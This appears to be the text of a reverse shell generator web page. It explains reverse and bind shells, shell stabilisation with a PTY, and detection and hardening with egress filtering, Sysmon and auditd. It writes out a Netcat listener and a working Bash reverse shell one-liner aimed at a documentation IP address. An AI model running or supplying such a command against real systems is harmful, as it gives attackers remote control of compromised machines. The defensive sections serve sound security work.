Reverse Shell Generator

What is a reverse shell?

A reverse shell is a remote command session in which the target machine initiates a connection to the operator’s machine. A listening program, called a listener, receives this connection and lets the operator interact with the target’s shell.

How a reverse shell works

The operator first starts a listener, a program that waits for the connection on a given port. When the payload runs on the target, it connects back to that listener, and every command typed on the operator side runs on the target.

This direction can work around inbound filtering or NAT on the target’s network. The target still needs to reach the listener: choosing a common port such as 443 does not bypass an egress firewall or a proxy that checks the protocol.

Bash reverse shell example with a Netcat listener

LHOST is the operator’s address reachable from the target, and LPORT is the listening port. For this example, set LHOST to your listener’s address; 203.0.113.10 below is a documentation address. Start Netcat on the operator’s machine, then run the Bash command on the target.

nc -lvnp 4444

bash -i >& /dev/tcp/203.0.113.10/4444 0>&1

The Bash redirection syntax opens the TCP connection and connects the shell’s input and output to it. The generator above provides variants for Python, PowerShell, PHP, Netcat and Socat, plus the matching listener.

Reverse shell and bind shell

With a bind shell, the target opens a port and waits for the operator to connect. It is simple to set up, but the port has to be reachable from the outside, which is rare behind a NAT or an inbound firewall. The reverse shell flips the direction of the connection and works around that. In return, the operator must expose an IP and a port reachable from the target, and the target's egress filtering must let the connection out.

Stabilising the shell you catch

A raw reverse shell has no completion and no history, Ctrl+C kills the session, and interactive programs such as ssh, su or vim behave badly. You stabilise it by attaching a pseudo-terminal (PTY). On Linux, the usual sequence starts with python3 -c 'import pty; pty.spawn("/bin/bash")' or script -qc /bin/bash /dev/null. You then background the shell with Ctrl+Z, put your own terminal into raw mode with stty raw -echo; fg, then export TERM=xterm-256color and set the size with stty rows 38 cols 116 (take the values from stty size in your terminal). socat and pwncat-cs do this switch automatically.

Detecting and preventing reverse shells

For detection rules and log examples, see our guide to detecting and blocking reverse shells with Sysmon and auditd.

On the defensive side, a reverse shell almost always signals a compromise that already succeeded: a command injection, a file upload or a vulnerable service let an attacker run code. Two levers apply: stop the connection from leaving, and spot the behaviour when it happens.

Egress filtering and hardening

Egress filtering is the most effective measure. An application server rarely needs to open arbitrary connections to the internet. Limiting outbound flows to known destinations (proxy, package repositories, partner APIs) cuts the return channel even when exploitation succeeds.

The rest of hardening narrows the attacker's options. Services run under dedicated accounts without an interactive shell, in containers with a read-only file system. On Windows, AMSI and Defender's ASR rules block part of the PowerShell payloads. On Linux, removing unused interpreters and tools (compilers, nc with -e, socat) from production limits the usable variants.

Process lineage and telemetry

The most reliable signal is an abnormal process lineage. A web server does not spawn a shell in normal operation. w3wp.exe starting cmd.exe or powershell.exe under IIS, or httpd, nginx or java starting bash, sh, python or nc on Linux, warrant an alert.

On Windows, Sysmon provides the two useful events. Event ID 1 (process creation) gives the full command line and the parent process, including PowerShell's -EncodedCommand arguments, which you simply decode. Event ID 3 (network connection) ties an outbound connection to the process that opened it. A powershell.exe or an Office binary connecting to an unknown external IP is a classic case.

On Linux, auditd logs execve and connect calls. Rules on these calls surface the use of /dev/tcp, of nc or of an interpreter with redirected descriptors 0, 1 and 2. Creating a FIFO with mkfifo in /tmp just before an outbound connection matches the most common netcat variant.

Taken one by one, these indicators stay weak. Detection becomes reliable when you correlate the process lineage, its command line and the network connection it opens, on the same machine and in the same time window.